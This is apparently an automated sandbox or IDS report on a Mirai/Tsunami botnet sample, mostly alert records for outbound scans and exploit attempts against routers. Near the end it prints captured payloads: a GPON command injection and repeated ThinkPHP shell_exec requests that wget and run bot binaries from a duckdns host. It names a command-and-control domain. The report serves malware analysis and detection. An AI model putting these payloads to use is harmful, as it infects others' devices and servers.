Timestamp:	192.168.2.23122.114.145.10049256802846457 10/23/22-17:58:10.719916
SID:	2846457
Source Port:	49256
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.48.102.218

Timestamp:	192.168.2.23181.48.102.21838248802846380 10/23/22-17:56:55.688528
SID:	2846380
Source Port:	38248
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.215.147.1

Timestamp:	192.168.2.2389.215.147.145766802846457 10/23/22-17:58:10.297398
SID:	2846457
Source Port:	45766
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.31.102.227

Timestamp:	192.168.2.23181.31.102.22742032802841623 10/23/22-17:57:28.350931
SID:	2841623
Source Port:	42032
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.110.178.249

Timestamp:	192.168.2.2388.110.178.24946188802027121 10/23/22-17:57:38.635381
SID:	2027121
Source Port:	46188
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.214.153.87

Timestamp:	192.168.2.2385.214.153.8736188802846457 10/23/22-17:57:16.979945
SID:	2846457
Source Port:	36188
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.110.198.21

Timestamp:	192.168.2.2361.110.198.2150608802846457 10/23/22-17:57:02.953879
SID:	2846457
Source Port:	50608
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.252.167.14

Timestamp:	192.168.2.2380.252.167.1460482802846457 10/23/22-17:57:14.346119
SID:	2846457
Source Port:	60482
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.132.96.99

Timestamp:	192.168.2.232.132.96.9937120802846457 10/23/22-17:57:21.038962
SID:	2846457
Source Port:	37120
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.197.116.37

Timestamp:	192.168.2.23169.197.116.3754568802846380 10/23/22-17:57:35.693778
SID:	2846380
Source Port:	54568
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.243.227.247

Timestamp:	192.168.2.2380.243.227.24739528802846380 10/23/22-17:58:29.770316
SID:	2846380
Source Port:	39528
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.51.126.53

Timestamp:	192.168.2.23122.51.126.5342256802846457 10/23/22-17:57:07.842400
SID:	2846457
Source Port:	42256
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.216.130.45

Timestamp:	192.168.2.23188.216.130.4550214802846457 10/23/22-17:58:17.729062
SID:	2846457
Source Port:	50214
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.99.246.106

Timestamp:	192.168.2.2388.99.246.10642012802027121 10/23/22-17:58:10.570763
SID:	2027121
Source Port:	42012
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.116.227

Timestamp:	192.168.2.23156.224.116.22736186802835222 10/23/22-17:57:06.015501
SID:	2835222
Source Port:	36186
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.110.133.246

Timestamp:	192.168.2.2395.110.133.24659226802027121 10/23/22-17:56:58.426789
SID:	2027121
Source Port:	59226
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 96.85.52.166

Timestamp:	192.168.2.2396.85.52.16641606802841623 10/23/22-17:57:12.572108
SID:	2841623
Source Port:	41606
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 23.35.133.102

Timestamp:	192.168.2.2323.35.133.10237012802835221 10/23/22-17:56:56.766335
SID:	2835221
Source Port:	37012
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.108.64.228

Timestamp:	192.168.2.2389.108.64.22843846802846457 10/23/22-17:57:37.984093
SID:	2846457
Source Port:	43846
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.241.118.185

Timestamp:	192.168.2.23156.241.118.18549012802841623 10/23/22-17:57:38.912493
SID:	2841623
Source Port:	49012
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.210.132.106

Timestamp:	192.168.2.23195.210.132.10650838802846457 10/23/22-17:58:21.698084
SID:	2846457
Source Port:	50838
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.174.100.252

Timestamp:	192.168.2.2395.174.100.25241648802027121 10/23/22-17:57:16.373468
SID:	2027121
Source Port:	41648
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 23.65.228.84

Timestamp:	192.168.2.2323.65.228.8447082802835222 10/23/22-17:57:23.996077
SID:	2835222
Source Port:	47082
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.64.106.102

Timestamp:	192.168.2.2383.64.106.10246998802846380 10/23/22-17:58:25.116542
SID:	2846380
Source Port:	46998
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.38.195.96

Timestamp:	192.168.2.2395.38.195.9633936802027121 10/23/22-17:57:13.280847
SID:	2027121
Source Port:	33936
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.185.250.44

Timestamp:	192.168.2.235.185.250.4441702802846457 10/23/22-17:57:53.331513
SID:	2846457
Source Port:	41702
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.214.94.68

Timestamp:	192.168.2.23181.214.94.6837300802846380 10/23/22-17:57:25.146135
SID:	2846380
Source Port:	37300
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.100.26.229

Timestamp:	192.168.2.2388.100.26.22945878802027121 10/23/22-17:58:10.577129
SID:	2027121
Source Port:	45878
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.74.184.197

Timestamp:	192.168.2.23112.74.184.19739904802027121 10/23/22-17:57:28.467060
SID:	2027121
Source Port:	39904
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.15.36.250

Timestamp:	192.168.2.2380.15.36.25036586802846457 10/23/22-17:56:52.722301
SID:	2846457
Source Port:	36586
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.220.101.98

Timestamp:	192.168.2.23112.220.101.9847774802027121 10/23/22-17:57:02.452802
SID:	2027121
Source Port:	47774
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.161.109.229

Timestamp:	192.168.2.235.161.109.22934188802846457 10/23/22-17:57:03.014737
SID:	2846457
Source Port:	34188
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.225.59.5

Timestamp:	192.168.2.23181.225.59.554386802846380 10/23/22-17:58:17.196005
SID:	2846380
Source Port:	54386
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 14.78.183.38

Timestamp:	192.168.2.2314.78.183.385053075472835222 10/23/22-17:57:03.996947
SID:	2835222
Source Port:	50530
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.115.211.172

Timestamp:	192.168.2.2382.115.211.17252590802846380 10/23/22-17:57:46.395164
SID:	2846380
Source Port:	52590
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.214.129.222

Timestamp:	192.168.2.2385.214.129.22245272802846457 10/23/22-17:58:37.500910
SID:	2846457
Source Port:	45272
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.62.188.112

Timestamp:	192.168.2.23178.62.188.11246436802846380 10/23/22-17:57:49.295298
SID:	2846380
Source Port:	46436
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.119.156.192

Timestamp:	192.168.2.23188.119.156.19260560802846457 10/23/22-17:58:20.027477
SID:	2846457
Source Port:	60560
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.102.11.177

Timestamp:	192.168.2.23171.102.11.17739812802846457 10/23/22-17:57:59.885407
SID:	2846457
Source Port:	39812
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.149.36.4

Timestamp:	192.168.2.2389.149.36.443726802846457 10/23/22-17:58:32.898709
SID:	2846457
Source Port:	43726
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.242.182.49

Timestamp:	192.168.2.2389.242.182.4941844802846457 10/23/22-17:57:41.195958
SID:	2846457
Source Port:	41844
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.243.76.77

Timestamp:	192.168.2.2346.243.76.7733896802846457 10/23/22-17:57:41.308279
SID:	2846457
Source Port:	33896
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.188.222.154

Timestamp:	192.168.2.23213.188.222.15441452802846380 10/23/22-17:58:33.195794
SID:	2846380
Source Port:	41452
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.156.195.129

Timestamp:	192.168.2.2385.156.195.12942626802846457 10/23/22-17:58:26.409250
SID:	2846457
Source Port:	42626
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.59.89.110

Timestamp:	192.168.2.23200.59.89.11046412802846380 10/23/22-17:58:22.311626
SID:	2846380
Source Port:	46412
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.28.182.248

Timestamp:	192.168.2.2346.28.182.24840902802846457 10/23/22-17:57:53.231656
SID:	2846457
Source Port:	40902
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.63.215.103

Timestamp:	192.168.2.23181.63.215.10345942802846380 10/23/22-17:58:01.094882
SID:	2846380
Source Port:	45942
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.201.60.20

Timestamp:	192.168.2.2382.201.60.2048270802846380 10/23/22-17:57:54.140935
SID:	2846380
Source Port:	48270
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.217.14.76

Timestamp:	192.168.2.2395.217.14.7659074802027121 10/23/22-17:56:55.613450
SID:	2027121
Source Port:	59074
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.73.191.114

Timestamp:	192.168.2.2395.73.191.11444878802027121 10/23/22-17:58:07.342813
SID:	2027121
Source Port:	44878
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.56.29.236

Timestamp:	192.168.2.2395.56.29.23643560802027121 10/23/22-17:57:16.491821
SID:	2027121
Source Port:	43560
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.111.132.219

Timestamp:	192.168.2.2389.111.132.21960622802846457 10/23/22-17:57:38.036319
SID:	2846457
Source Port:	60622
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.72.202.130

Timestamp:	192.168.2.23206.72.202.13055330802846380 10/23/22-17:57:38.059088
SID:	2846380
Source Port:	55330
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.162.197.166

Timestamp:	192.168.2.23213.162.197.16635730802846380 10/23/22-17:57:37.880943
SID:	2846380
Source Port:	35730
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.138.119.206

Timestamp:	192.168.2.23164.138.119.20657258802846457 10/23/22-17:57:22.372922
SID:	2846457
Source Port:	57258
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.219.1.217

Timestamp:	192.168.2.2388.219.1.21743922802027121 10/23/22-17:57:49.369890
SID:	2027121
Source Port:	43922
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.6.243.31

Timestamp:	192.168.2.2380.6.243.3151034802846457 10/23/22-17:58:13.033376
SID:	2846457
Source Port:	51034
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.99.57.230

Timestamp:	192.168.2.2388.99.57.23060274802027121 10/23/22-17:56:39.185487
SID:	2027121
Source Port:	60274
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.245.189.239

Timestamp:	192.168.2.2388.245.189.23942276802027121 10/23/22-17:57:13.009842
SID:	2027121
Source Port:	42276
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.244.21.79

Timestamp:	192.168.2.23171.244.21.7951536802846457 10/23/22-17:57:59.905446
SID:	2846457
Source Port:	51536
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.239.228.165

Timestamp:	192.168.2.23213.239.228.16541056802846380 10/23/22-17:57:18.571730
SID:	2846380
Source Port:	41056
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.228.114.91

Timestamp:	192.168.2.2380.228.114.9133376802846457 10/23/22-17:57:09.718912
SID:	2846457
Source Port:	33376
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.163.71.192

Timestamp:	192.168.2.2395.163.71.19233298802027121 10/23/22-17:57:36.430915
SID:	2027121
Source Port:	33298
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.179.137.119

Timestamp:	192.168.2.2395.179.137.11939670802027121 10/23/22-17:58:30.348385
SID:	2027121
Source Port:	39670
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.100.164.77

Timestamp:	192.168.2.23122.100.164.7734924802846457 10/23/22-17:57:14.320779
SID:	2846457
Source Port:	34924
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.128.138.152

Timestamp:	192.168.2.2385.128.138.15259646802846457 10/23/22-17:58:01.351303
SID:	2846457
Source Port:	59646
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.23.193.69

Timestamp:	192.168.2.2346.23.193.6955262802846457 10/23/22-17:57:41.525899
SID:	2846457
Source Port:	55262
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.85.68.201

Timestamp:	192.168.2.23188.85.68.20160890802846457 10/23/22-17:57:00.353134
SID:	2846457
Source Port:	60890
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.128.107.232

Timestamp:	192.168.2.2395.128.107.23245948802027121 10/23/22-17:58:17.321235
SID:	2027121
Source Port:	45948
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.249.98.191

Timestamp:	192.168.2.2395.249.98.19141282802027121 10/23/22-17:56:58.424234
SID:	2027121
Source Port:	41282
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.12.6.78

Timestamp:	192.168.2.2388.12.6.7852856802027121 10/23/22-17:57:05.217651
SID:	2027121
Source Port:	52856
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 210.129.51.32

Timestamp:	192.168.2.23210.129.51.3237650802841623 10/23/22-17:57:20.813133
SID:	2841623
Source Port:	37650
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.99.14.98

Timestamp:	192.168.2.2388.99.14.9836362802027121 10/23/22-17:57:02.421011
SID:	2027121
Source Port:	36362
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.183.147.122

Timestamp:	192.168.2.2386.183.147.12239070802846380 10/23/22-17:57:07.231559
SID:	2846380
Source Port:	39070
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.88.104.186

Timestamp:	192.168.2.23195.88.104.18658248802846457 10/23/22-17:56:43.310934
SID:	2846457
Source Port:	58248
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.202.211.190

Timestamp:	192.168.2.2382.202.211.19039010802846380 10/23/22-17:57:07.358204
SID:	2846380
Source Port:	39010
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.101.163.234

Timestamp:	192.168.2.2395.101.163.23453926802027121 10/23/22-17:56:53.373996
SID:	2027121
Source Port:	53926
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.81.17.51

Timestamp:	192.168.2.2380.81.17.5141788802846457 10/23/22-17:57:32.444010
SID:	2846457
Source Port:	41788
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.151.52.231

Timestamp:	192.168.2.23213.151.52.23146752802846380 10/23/22-17:56:58.267699
SID:	2846380
Source Port:	46752
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.113.203.34

Timestamp:	192.168.2.2382.113.203.3441588802846380 10/23/22-17:58:36.861126
SID:	2846380
Source Port:	41588
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.187.4.88

Timestamp:	192.168.2.235.187.4.8841846802846457 10/23/22-17:57:53.239700
SID:	2846457
Source Port:	41846
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 76.141.28.51

Timestamp:	192.168.2.2376.141.28.5140116802835222 10/23/22-17:58:09.832463
SID:	2835222
Source Port:	40116
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /GponForm/diag_Form?style/ HTTP/1.1User-Agent: Hello, WorldAccept: */*Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedData Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 2f 67 70 6f 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://amkbins.duckdns.org/gpon+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Source: unknown

DNS traffic detected: queries for: amkcnc.duckdns.org

Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
